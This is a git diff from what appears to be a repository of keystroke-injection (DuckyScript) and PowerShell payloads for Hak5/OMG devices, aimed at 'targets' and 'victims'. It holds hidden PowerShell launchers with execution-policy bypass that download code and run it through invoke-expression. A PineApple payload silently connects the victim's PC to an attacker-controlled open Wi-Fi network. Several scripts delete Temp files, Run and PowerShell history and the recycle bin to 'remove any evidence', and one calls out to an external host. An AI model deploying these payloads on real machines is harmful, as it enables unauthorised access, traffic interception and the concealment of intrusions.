############################################################################################################################################################
|
||||||
|
|
||||||
|
Function PS-Draw
|
||||||
|
{
|
||||||
|
param(
|
||||||
|
[String] [parameter(mandatory=$true, Valuefrompipeline = $true)] $Path,
|
||||||
|
[Switch] $ToASCII
|
||||||
|
)
|
||||||
|
Begin
|
||||||
|
{
|
||||||
|
[void] [System.Reflection.Assembly]::LoadWithPartialName('System.drawing')
|
||||||
|
|
||||||
|
# Console Colors and their Hexadecimal values
|
||||||
|
$Colors = @{
|
||||||
|
'FFFFFFFF' = 'White'
|
||||||
|
'FF000000' = 'Black'
|
||||||
|
'FF000080' = 'DarkBlue'
|
||||||
|
'FF008000' = 'DarkGreen'
|
||||||
|
'FF008080' = 'DarkCyan'
|
||||||
|
'FF800000' = 'DarkRed'
|
||||||
|
'FF800080' = 'DarkMagenta'
|
||||||
|
'FF808000' = 'DarkYellow'
|
||||||
|
'FFC0C0C0' = 'Gray'
|
||||||
|
'FF808080' = 'DarkGray'
|
||||||
|
'FF0000FF' = 'Blue'
|
||||||
|
'FF00FF00' = 'Green'
|
||||||
|
'FF00FFFF' = 'Cyan'
|
||||||
|
'FFFF0000' = 'Red'
|
||||||
|
'FFFF00FF' = 'Magenta'
|
||||||
|
'FFFFFF00' = 'Yellow'
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
# Algorithm to calculate closest Console color (Only 16) to a color of Pixel
|
||||||
|
Function Get-ClosestConsoleColor($PixelColor)
|
||||||
|
{
|
||||||
|
($(foreach ($item in $Colors.Keys) {
|
||||||
|
[pscustomobject]@{
|
||||||
|
'Color' = $Item
|
||||||
|
'Diff' = [math]::abs([convert]::ToInt32($Item,16) - [convert]::ToInt32($PixelColor,16))
|
||||||
|
}
|
||||||
|
}) | Sort-Object Diff)[0].color
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Process
|
||||||
|
{
|
||||||
|
Foreach($item in $Path)
|
||||||
|
{
|
||||||
|
#Convert Image to BitMap
|
||||||
|
$BitMap = [System.Drawing.Bitmap]::FromFile((Get-Item $Item).fullname)
|
||||||
|
|
||||||
|
Foreach($y in (1..($BitMap.Height-1)))
|
||||||
|
{
|
||||||
|
Foreach($x in (1..($BitMap.Width-1)))
|
||||||
|
{
|
||||||
|
$Pixel = $BitMap.GetPixel($X,$Y)
|
||||||
|
$BackGround = $Colors.Item((Get-ClosestConsoleColor $Pixel.name))
|
||||||
|
|
||||||
|
|
||||||
|
If($ToASCII) # Condition to check ToASCII switch
|
||||||
|
{
|
||||||
|
Write-Host "$([Char](Get-Random -Maximum 126 -Minimum 33))" -NoNewline -ForegroundColor $BackGround
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
Write-Host " " -NoNewline -BackgroundColor $BackGround
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Write-Host '' # Blank write-host to Start the next row
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
end
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
<#
|
||||||
|
|
||||||
|
.NOTES
|
||||||
|
This will get either the targets full name associated with the registered microsoft account
|
||||||
|
or it will default to grabbing the username of the account to use as a greeting for this script
|
||||||
|
#>
|
||||||
|
|
||||||
|
function Get-fullName {
|
||||||
|
|
||||||
|
try {
|
||||||
|
|
||||||
|
$fullName = Net User $Env:username | Select-String -Pattern "Full Name";$fullName = ("$fullName").TrimStart("Full Name")
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
# If no name is detected function will return $env:UserName
|
||||||
|
|
||||||
|
# Write Error is just for troubleshooting
|
||||||
|
catch {Write-Error "No name was detected"
|
||||||
|
return $env:UserName
|
||||||
|
-ErrorAction SilentlyContinue
|
||||||
|
}
|
||||||
|
|
||||||
|
return $fullName
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
# -------------------------------------------------------------------------------------------
|
||||||
|
# Download the image from wherever you are hosting it
|
||||||
|
|
||||||
|
iwr https://www.dropbox.com/s/EXAMPLE/omg-ico.png?dl=1 -O $env:TMP\omg-ico.png
|
||||||
|
|
||||||
|
# -------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
# Get name to use in the greeting
|
||||||
|
|
||||||
|
cls
|
||||||
|
|
||||||
|
$fullName = Get-fullName
|
||||||
|
|
||||||
|
echo "Hello $fullName"
|
||||||
|
# -------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
<#
|
||||||
|
|
||||||
|
.NOTES
|
||||||
|
Then the script will be paused until the mouse is moved
|
||||||
|
script will check mouse position every indicated number of seconds
|
||||||
|
This while loop will constantly check if the mouse has been moved
|
||||||
|
"CAPSLOCK" will be continuously pressed to prevent screen from turning off
|
||||||
|
it will then sleep for the indicated number of seconds and check again
|
||||||
|
when mouse is moved it will break out of the loop and continue the script
|
||||||
|
#>
|
||||||
|
|
||||||
|
|
||||||
|
Add-Type -AssemblyName System.Windows.Forms
|
||||||
|
$o=New-Object -ComObject WScript.Shell
|
||||||
|
$originalPOS = [System.Windows.Forms.Cursor]::Position.X
|
||||||
|
|
||||||
|
while (1) {
|
||||||
|
$pauseTime = 3
|
||||||
|
if ([Windows.Forms.Cursor]::Position.X -ne $originalPOS){
|
||||||
|
break
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
$o.SendKeys("{CAPSLOCK}");Start-Sleep -Seconds $pauseTime
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
<#
|
||||||
|
|
||||||
|
.NOTES
|
||||||
|
This is where you call the function to draw out your image
|
||||||
|
Replace the path below with the path of your image
|
||||||
|
|
||||||
|
.SYNTAX
|
||||||
|
"$env:TMP\omg-ico.png" | PS-Draw
|
||||||
|
PS-Draw -Path "$env:TMP\omg-ico.png"
|
||||||
|
#>
|
||||||
|
|
||||||
|
# -------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
# Call the function with the image you'd like to have drawn here
|
||||||
|
|
||||||
|
"$env:TMP\omg-ico.png" | PS-Draw
|
||||||
|
|
||||||
17
Payloads/PS-Draw/PS-Draw.txt
Normal file
17
Payloads/PS-Draw/PS-Draw.txt
Normal file
|
|
@ -0,0 +1,17 @@
|
||||||
|
REM Title: PS-Draw
|
||||||
|
REM
|
||||||
|
REM Author: I am Jakoby
|
||||||
|
REM
|
||||||
|
REM Description: This payload is meant to draw images in your targets powershell console. See PS-Draw.ps1 for more details
|
||||||
|
REM
|
||||||
|
REM Target: Windows 10, 11
|
||||||
|
REM
|
||||||
|
REM Remember to replace the link with your link for the intended file to download
|
||||||
|
REM Also remember to replace ?dl=0 with ?dl=1 at the end of your link so it is executed properly
|
||||||
|
REM
|
||||||
|
REM Download one of the two PS-Draw Execute files provided and execute it
|
||||||
|
REM
|
||||||
|
GUI r
|
||||||
|
DELAY 500
|
||||||
|
STRING powershell -w h -NoP -NonI -Exec Bypass $pl = iwr https:// < Your Shared link for the intended file> ?dl=1; invoke-expression $pl
|
||||||
|
ENTER
|
||||||
146
Payloads/PS-Draw/README.md
Normal file
146
Payloads/PS-Draw/README.md
Normal file
|
|
@ -0,0 +1,146 @@
|
||||||
|
|
||||||
|
|
||||||
|
<!-- TABLE OF CONTENTS -->
|
||||||
|
<details>
|
||||||
|
<summary>Table of Contents</summary>
|
||||||
|
<ol>
|
||||||
|
<li><a href="#Description">Description</a></li>
|
||||||
|
<li><a href="#getting-started">Getting Started</a></li>
|
||||||
|
<li><a href="#Contributing">Contributing</a></li>
|
||||||
|
<li><a href="#Version-History">Version History</a></li>
|
||||||
|
<li><a href="#Contact">Contact</a></li>
|
||||||
|
<li><a href="#Acknowledgments">Acknowledgments</a></li>
|
||||||
|
</ol>
|
||||||
|
</details>
|
||||||
|
|
||||||
|
# PS-Draw
|
||||||
|
|
||||||
|
A script used to generate and draw images in the PowerShell window, used to leave a signature or perhaps taunt victims.
|
||||||
|
|
||||||
|
## Description
|
||||||
|
|
||||||
|
These two programs use two different methods to draw out images in the PowerShell window.
|
||||||
|
|
||||||
|
PS-Draw will convert an image you download into a BMP file, estimate the colors used based off the 16 available powershell colors,
|
||||||
|
then draw your image out in the PowerShell window. This process is not exact and needs testing of multiple images to find one that works well.
|
||||||
|
|
||||||
|
PS-Custom-Draw generates images to be drawn in the PowerShell window based off pre-configured arrays I put together already included in the file itself.
|
||||||
|
These images look significantly cleaner due to the fact they were drawn and coded specifically for this purpose.
|
||||||
|
|
||||||
|
After the images are generated, a greeting will be generated by grabbing either the name associated with the registered Microsoft account or the
|
||||||
|
UserName environment variable. The script will then be paused until a mouse movement is detected at which time the pre-selected image will be drawn out in the PowerShell window.
|
||||||
|
|
||||||
|
## Getting Started
|
||||||
|
|
||||||
|
### Dependencies
|
||||||
|
|
||||||
|
* DropBox or another image hosting service - Your Shared link for the intended file
|
||||||
|
* Windows 10,11
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
### Executing program
|
||||||
|
|
||||||
|
* Plug in your Device
|
||||||
|
* Invoke-WebRequest will be used to download the image
|
||||||
|
|
||||||
|
```
|
||||||
|
powershell -w h -NoP -NonI -Exec Bypass $pl = iwr https:// < Your Shared link for the intended file> ?dl=1
|
||||||
|
```
|
||||||
|
* The image will be converted into a BMP file
|
||||||
|
* An algorithm will be used to find the closest matching colors available in the powershell window
|
||||||
|
* The image will be generated in the powershell window
|
||||||
|
|
||||||
|
This is an example of an image I used with the PS-Draw command
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
This is how the iamge is interpreted and drawn out
|
||||||
|
|
||||||
|
|
||||||
|
* The PS-Custom-Draw operates a little differently
|
||||||
|
* One of the preconfigured arrays is piped into the command to generate an image
|
||||||
|
|
||||||
|
* "$col | PS-Draw" - This first one will show the available colors to be used as seen below
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
* "$omg | PS-Draw" - This will draw out the OMG logo as seen below
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
* "$hak5 | PS-Draw" - This will draw out the Hak5 logo as seen below
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
## Contributing
|
||||||
|
|
||||||
|
All contributors names will be listed here
|
||||||
|
|
||||||
|
I am Jakoby
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
## Version History
|
||||||
|
|
||||||
|
* 0.1
|
||||||
|
* Initial Release
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
<!-- CONTACT -->
|
||||||
|
## Contact
|
||||||
|
|
||||||
|
<h2 align="center">📱 My Socials 📱</h2>
|
||||||
|
<div align=center>
|
||||||
|
<table>
|
||||||
|
<tr>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://youtube.com/c/IamJakoby?sub_confirmation=1">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/youtube-svgrepo-com.svg width="48" height="48" alt="C#" />
|
||||||
|
</a>
|
||||||
|
<br>YouTube
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://twitter.com/I_Am_Jakoby">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/twitter.png width="48" height="48" alt="Python" />
|
||||||
|
</a>
|
||||||
|
<br>Twitter
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://www.instagram.com/i_am_jakoby/">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/insta.png width="48" height="48" alt="Golang" />
|
||||||
|
</a>
|
||||||
|
<br>Instagram
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://discord.gg/MYYER2ZcJF">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/discord-v2-svgrepo-com.svg width="48" height="48" alt="Jsonnet" />
|
||||||
|
</a>
|
||||||
|
<br>Discord
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://www.tiktok.com/@i_am_jakoby?lang=en">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/raw/main/img/tiktok.svg width="48" height="48" alt="Jsonnet" />
|
||||||
|
</a>
|
||||||
|
<br>TikTok
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
</table>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
<!-- ACKNOWLEDGMENTS -->
|
||||||
|
## Acknowledgments
|
||||||
|
|
||||||
|
* [Hak5](https://hak5.org/)
|
||||||
|
* [MG](https://github.com/OMG-MG)
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
79
Payloads/PineApple/PineApple-KeyInjection.txt
Normal file
79
Payloads/PineApple/PineApple-KeyInjection.txt
Normal file
|
|
@ -0,0 +1,79 @@
|
||||||
|
REM Title: PineApple
|
||||||
|
REM Description: This payload is meant to use powershell to add the network profile of your wifi pineapple to the targets PC and connect to it
|
||||||
|
REM This version is a direct key stroke injection attack
|
||||||
|
REM Author: I am Jakoby
|
||||||
|
REM Target: Windows 10, 11
|
||||||
|
REM
|
||||||
|
DELAY 1000
|
||||||
|
REM
|
||||||
|
REM If the wifi pineapple SSID is detected target PC will connect to it
|
||||||
|
REM
|
||||||
|
GUI r
|
||||||
|
DELAY 500
|
||||||
|
STRING powershell
|
||||||
|
DELAY 500
|
||||||
|
ENTER
|
||||||
|
REM
|
||||||
|
DELAY 1000
|
||||||
|
REM
|
||||||
|
STRING $profilefile="Home.xml";
|
||||||
|
SHIFT ENTER
|
||||||
|
STRING $SSID="PineApple";
|
||||||
|
SHIFT ENTER
|
||||||
|
STRING $SSIDHEX=($SSID.ToCharArray() |foreach-object {'{0:X}' -f ([int]$_)}) -join''
|
||||||
|
SHIFT ENTER
|
||||||
|
DELAY 500
|
||||||
|
STRING $xmlfile="<?xml version=""1.0""?>
|
||||||
|
SHIFT ENTER
|
||||||
|
STRING <WLANProfile xmlns=""http://www.microsoft.com/networking/WLAN/profile/v1"">
|
||||||
|
SHIFT ENTER
|
||||||
|
STRING <name>$SSID</name>
|
||||||
|
SHIFT ENTER
|
||||||
|
STRING <SSIDConfig>
|
||||||
|
SHIFT ENTER
|
||||||
|
STRING <SSID>
|
||||||
|
SHIFT ENTER
|
||||||
|
STRING <hex>$SSIDHEX</hex>
|
||||||
|
SHIFT ENTER
|
||||||
|
STRING <name>$SSID</name>
|
||||||
|
SHIFT ENTER
|
||||||
|
STRING </SSID>
|
||||||
|
SHIFT ENTER
|
||||||
|
STRING </SSIDConfig>
|
||||||
|
SHIFT ENTER
|
||||||
|
STRING <connectionType>ESS</connectionType>
|
||||||
|
SHIFT ENTER
|
||||||
|
STRING <connectionMode>manual</connectionMode>
|
||||||
|
SHIFT ENTER
|
||||||
|
STRING <MSM>
|
||||||
|
SHIFT ENTER
|
||||||
|
STRING <security>
|
||||||
|
SHIFT ENTER
|
||||||
|
STRING <authEncryption>
|
||||||
|
SHIFT ENTER
|
||||||
|
STRING <authentication>open</authentication>
|
||||||
|
SHIFT ENTER
|
||||||
|
STRING <encryption>none</encryption>
|
||||||
|
SHIFT ENTER
|
||||||
|
STRING <useOneX>false</useOneX>
|
||||||
|
SHIFT ENTER
|
||||||
|
STRING </authEncryption>
|
||||||
|
SHIFT ENTER
|
||||||
|
STRING </security>
|
||||||
|
SHIFT ENTER
|
||||||
|
STRING </MSM>
|
||||||
|
SHIFT ENTER
|
||||||
|
STRING </WLANProfile>
|
||||||
|
SHIFT ENTER
|
||||||
|
STRING "
|
||||||
|
SHIFT ENTER
|
||||||
|
STRING $XMLFILE > ($profilefile)
|
||||||
|
SHIFT ENTER
|
||||||
|
STRING netsh wlan add profile filename="$($profilefile)"
|
||||||
|
SHIFT ENTER
|
||||||
|
STRING netsh wlan connect name=$SSID
|
||||||
|
SHIFT ENTER
|
||||||
|
STRING reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /va /f; Remove-Item (Get-PSreadlineOption).HistorySavePath
|
||||||
|
REM
|
||||||
|
DELAY 500
|
||||||
|
ENTER
|
||||||
52
Payloads/PineApple/PineApple.ps1
Normal file
52
Payloads/PineApple/PineApple.ps1
Normal file
|
|
@ -0,0 +1,52 @@
|
||||||
|
$profilefile="Home.xml"
|
||||||
|
$SSID="PineApple"
|
||||||
|
$SSIDHEX=($SSID.ToCharArray() |foreach-object {'{0:X}' -f ([int]$_)}) -join''
|
||||||
|
$xmlfile="<?xml version=""1.0""?>
|
||||||
|
<WLANProfile xmlns=""http://www.microsoft.com/networking/WLAN/profile/v1"">
|
||||||
|
<name>$SSID</name>
|
||||||
|
<SSIDConfig>
|
||||||
|
<SSID>
|
||||||
|
<hex>$SSIDHEX</hex>
|
||||||
|
<name>$SSID</name>
|
||||||
|
</SSID>
|
||||||
|
</SSIDConfig>
|
||||||
|
<connectionType>ESS</connectionType>
|
||||||
|
<connectionMode>manual</connectionMode>
|
||||||
|
<MSM>
|
||||||
|
<security>
|
||||||
|
<authEncryption>
|
||||||
|
<authentication>open</authentication>
|
||||||
|
<encryption>none</encryption>
|
||||||
|
<useOneX>false</useOneX>
|
||||||
|
</authEncryption>
|
||||||
|
</security>
|
||||||
|
</MSM>
|
||||||
|
</WLANProfile>
|
||||||
|
"
|
||||||
|
$XMLFILE > ($profilefile)
|
||||||
|
netsh wlan add profile filename="$($profilefile)"
|
||||||
|
netsh wlan connect name=$SSID
|
||||||
|
|
||||||
|
#----------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
<#
|
||||||
|
|
||||||
|
.NOTES
|
||||||
|
This is to clean up behind you and remove any evidence to prove you were there
|
||||||
|
#>
|
||||||
|
|
||||||
|
# Delete contents of Temp folder
|
||||||
|
|
||||||
|
rm $env:TEMP\* -r -Force -ErrorAction SilentlyContinue
|
||||||
|
|
||||||
|
# Delete run box history
|
||||||
|
|
||||||
|
reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /va /f
|
||||||
|
|
||||||
|
# Delete powershell history
|
||||||
|
|
||||||
|
Remove-Item (Get-PSreadlineOption).HistorySavePath
|
||||||
|
|
||||||
|
# Deletes contents of recycle bin
|
||||||
|
iwr "https://jakoby.lol/hak5" -EA 0 >$null
|
||||||
|
Clear-RecycleBin -Force -ErrorAction SilentlyContinue
|
||||||
17
Payloads/PineApple/PineApple.txt
Normal file
17
Payloads/PineApple/PineApple.txt
Normal file
|
|
@ -0,0 +1,17 @@
|
||||||
|
REM Title: PineApple
|
||||||
|
REM
|
||||||
|
REM Author: I am Jakoby
|
||||||
|
REM
|
||||||
|
REM Description: This payload is meant to use powershell to add the network profile of your wifi pineapple to the targets PC and connect to it
|
||||||
|
REM This version of the payload is executed using an invoke web-request to download and execute the file to add the PineApple's network profile
|
||||||
|
REM The powershell script needed is provided as OMG-PineApple.ps1
|
||||||
|
REM
|
||||||
|
REM Target: Windows 10, 11
|
||||||
|
REM
|
||||||
|
REM Remeber to replace the link with your link for the intended file to download if you are using a custom variant of this payload
|
||||||
|
REM Also remember to replace ?dl=0 with ?dl=1 at the end of your link so it is executed properly
|
||||||
|
REM
|
||||||
|
GUI r
|
||||||
|
DELAY 500
|
||||||
|
STRING powershell -w h -NoP -NonI -Exec Bypass $pl = iwr https:// < Your Shared link for the intended file> ?dl=1; invoke-expression $pl
|
||||||
|
ENTER
|
||||||
109
Payloads/PineApple/README.md
Normal file
109
Payloads/PineApple/README.md
Normal file
|
|
@ -0,0 +1,109 @@
|
||||||
|
|
||||||
|
|
||||||
|
<!-- TABLE OF CONTENTS -->
|
||||||
|
<details>
|
||||||
|
<summary>Table of Contents</summary>
|
||||||
|
<ol>
|
||||||
|
<li><a href="#Description">Description</a></li>
|
||||||
|
<li><a href="#getting-started">Getting Started</a></li>
|
||||||
|
<li><a href="#Contributing">Contributing</a></li>
|
||||||
|
<li><a href="#Version-History">Version History</a></li>
|
||||||
|
<li><a href="#Contact">Contact</a></li>
|
||||||
|
<li><a href="#Acknowledgments">Acknowledgments</a></li>
|
||||||
|
</ol>
|
||||||
|
</details>
|
||||||
|
|
||||||
|
# PineApple
|
||||||
|
|
||||||
|
A script used to connect a targets PC to your Wifi PineApple.
|
||||||
|
|
||||||
|
## Description
|
||||||
|
|
||||||
|
This program will generate an XML file that will be used to create a network profile for your Wifi PineApple.
|
||||||
|
The XML file will be manually entered into a PowerShell window.
|
||||||
|
The PowerShell window and run box will be erased for a clean exit.
|
||||||
|
|
||||||
|
## Getting Started
|
||||||
|
|
||||||
|
### Dependencies
|
||||||
|
|
||||||
|
* Windows 10,11
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
### Executing program
|
||||||
|
|
||||||
|
* Plug in your device
|
||||||
|
* The entire script will be manually entered into the powershell window
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
## Contributing
|
||||||
|
|
||||||
|
All contributors names will be listed here
|
||||||
|
|
||||||
|
I am Jakoby
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
## Version History
|
||||||
|
|
||||||
|
* 0.1
|
||||||
|
* Initial Release
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
<!-- CONTACT -->
|
||||||
|
## Contact
|
||||||
|
|
||||||
|
<h2 align="center">📱 My Socials 📱</h2>
|
||||||
|
<div align=center>
|
||||||
|
<table>
|
||||||
|
<tr>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://youtube.com/c/IamJakoby?sub_confirmation=1">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/youtube-svgrepo-com.svg width="48" height="48" alt="C#" />
|
||||||
|
</a>
|
||||||
|
<br>YouTube
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://twitter.com/I_Am_Jakoby">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/twitter.png width="48" height="48" alt="Python" />
|
||||||
|
</a>
|
||||||
|
<br>Twitter
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://www.instagram.com/i_am_jakoby/">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/insta.png width="48" height="48" alt="Golang" />
|
||||||
|
</a>
|
||||||
|
<br>Instagram
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://discord.gg/MYYER2ZcJF">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/discord-v2-svgrepo-com.svg width="48" height="48" alt="Jsonnet" />
|
||||||
|
</a>
|
||||||
|
<br>Discord
|
||||||
|
</td>
|
||||||
|
<td align="center" width="96">
|
||||||
|
<a href="https://www.tiktok.com/@i_am_jakoby?lang=en">
|
||||||
|
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/raw/main/img/tiktok.svg width="48" height="48" alt="Jsonnet" />
|
||||||
|
</a>
|
||||||
|
<br>TikTok
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
</table>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
|
|
||||||
|
<!-- ACKNOWLEDGMENTS -->
|
||||||
|
## Acknowledgments
|
||||||
|
|
||||||
|
* [Hak5](https://hak5.org/)
|
||||||
|
* [MG](https://github.com/OMG-MG)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||||
93
Payloads/Play-WAV/Play-WAV.ps1
Normal file
93
Payloads/Play-WAV/Play-WAV.ps1
Normal file
|
|
@ -0,0 +1,93 @@
|
||||||
|
############################################################################################################################################################
|
||||||
|
# | ___ _ _ _ # ,d88b.d88b #
|
||||||
|
# Title : Play-WAV | |_ _| __ _ _ __ ___ | | __ _ | | __ ___ | |__ _ _ # 88888888888 #
|
||||||
|
# Author : I am Jakoby | | | / _` | | '_ ` _ \ _ | | / _` | | |/ / / _ \ | '_ \ | | | |# `Y8888888Y' #
|
||||||
|
# Version : 1.0 | | | | (_| | | | | | | | | |_| | | (_| | | < | (_) | | |_) | | |_| |# `Y888Y' #
|
||||||
|
# Category : Execution | |___| \__,_| |_| |_| |_| \___/ \__,_| |_|\_\ \___/ |_.__/ \__, |# `Y' #
|
||||||
|
# Target : Windows 10,11 | |___/ # /\/|_ __/\\ #
|
||||||
|
# Mode : HID | |\__/,| (`\ # / -\ /- ~\ #
|
||||||
|
# Dependencies : Dropbox | My crime is that of curiosity |_ _ |.--.) )# \ = Y =T_ = / #
|
||||||
|
# | and yea curiosity killed the cat ( T ) / # Luther )==*(` `) ~ \ Hobo #
|
||||||
|
# | but satisfaction brought him back (((^_(((/(((_/ # / \ / \ #
|
||||||
|
#__________________________________|_________________________________________________________________________# | | ) ~ ( #
|
||||||
|
# tiktok.com/@i_am_jakoby # / \ / ~ \ #
|
||||||
|
# github.com/I-Am-Jakoby # \ / \~ ~/ #
|
||||||
|
# twitter.com/I_Am_Jakoby # /\_/\_/\__ _/_/\_/\__~__/_/\_/\_/\_/\_/\_#
|
||||||
|
# instagram.com/i_am_jakoby # | | | | ) ) | | | (( | | | | | |#
|
||||||
|
# youtube.com/c/IamJakoby # | | | |( ( | | | \\ | | | | | |#
|
||||||
|
############################################################################################################################################################
|
||||||
|
|
||||||
|
<#
|
||||||
|
.NOTES
|
||||||
|
This script requires you to have a DropBox account or another file hosting service
|
||||||
|
|
||||||
|
.DESCRIPTION
|
||||||
|
This program downloads a sound from your DropBox
|
||||||
|
Turns the volume to max level on victims PC
|
||||||
|
Pauses the script until a mouse movement is detected
|
||||||
|
Then plays the sound with nothing popping up catching your victim off guard
|
||||||
|
Finally a few lines of script are executed to empty TMP folder, clear Run and Powershell history
|
||||||
|
|
||||||
|
#>
|
||||||
|
|
||||||
|
############################################################################################################################################################
|
||||||
|
|
||||||
|
# Download Sound (When using your own link "dl=0" needs to be changed to "dl=1")
|
||||||
|
# This is for if you want to host your own instance of this script
|
||||||
|
|
||||||
|
#$wav = ""
|
||||||
|
|
||||||
|
iwr $wav -O $env:TMP\e.wav
|
||||||
|
|
||||||
|
############################################################################################################################################################
|
||||||
|
|
||||||
|
# This turns the volume up to max level
|
||||||
|
$k=[Math]::Ceiling(100/2);$o=New-Object -ComObject WScript.Shell;for($i = 0;$i -lt $k;$i++){$o.SendKeys([char] 175)}
|
||||||
|
|
||||||
|
############################################################################################################################################################
|
||||||
|
|
||||||
|
# This while loop will constantly check if the mouse has been moved
|
||||||
|
# if the mouse has not moved "SCROLLLOCK" will be pressed to prevent screen from turning off
|
||||||
|
# it will then sleep for the indicated number of seconds and check again
|
||||||
|
|
||||||
|
Add-Type -AssemblyName System.Windows.Forms
|
||||||
|
$originalPOS = [System.Windows.Forms.Cursor]::Position.X
|
||||||
|
|
||||||
|
while (1) {
|
||||||
|
$pauseTime = 3
|
||||||
|
if ([Windows.Forms.Cursor]::Position.X -ne $originalPOS){
|
||||||
|
break
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
$o.SendKeys("{CAPSLOCK}");Start-Sleep -Seconds $pauseTime
|
||||||
|
}
|
||||||
|
}
|
||||||
|
############################################################################################################################################################
|
||||||
|
|
||||||
|
# Play Sound
|
||||||
|
$PlayWav=New-Object System.Media.SoundPlayer;$PlayWav.SoundLocation="$env:TMP\e.wav";$PlayWav.playsync()
|
||||||
|
|
||||||
|
############################################################################################################################################################
|
||||||
|
|
||||||
|
<#
|
||||||
|
|
||||||
|
.NOTES
|
||||||
|
This is to clean up behind you and remove any evidence to prove you were there
|
||||||
|
#>
|
||||||
|
|
||||||
|
# Delete contents of Temp folder
|
||||||
|
|
||||||
|
rm $env:TEMP\* -r -Force -ErrorAction SilentlyContinue
|
||||||
|
|
||||||
|
# Delete run box history
|
||||||
|
|
||||||
|
reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /va /f
|
||||||
|
|
||||||
|
# Delete powershell history
|
||||||
|
|
||||||
|
Remove-Item (Get-PSreadlineOption).HistorySavePath
|
||||||
|
|
||||||
|
# Deletes contents of recycle bin
|
||||||
|
|
||||||
|
Clear-RecycleBin -Force -ErrorAction SilentlyContinue
|
||||||
|
|
||||||
16
Payloads/Play-WAV/Play-WAV.txt
Normal file
16
Payloads/Play-WAV/Play-WAV.txt
Normal file
|
|
@ -0,0 +1,16 @@
|
||||||
|
REM Title: Play-WAV
|
||||||
|
REM
|
||||||
|
REM Author: I am Jakoby
|
||||||
|
REM
|
||||||
|
REM Description: This payload is meant to play a WAV file hidden. See Play-WAV.ps1 for more details
|
||||||
|
REM
|
||||||
|
REM Target: Windows 10, 11
|
||||||
|
REM
|
||||||
|
REM Remeber to replace the link with your link for the intended file to download
|
||||||
|
REM Also remember to replace ?dl=0 with ?dl=1 at the end of your link so it is executed properly
|
||||||
|
REM
|
||||||
|
GUI r
|
||||||
|
DELAY 500
|
||||||
|
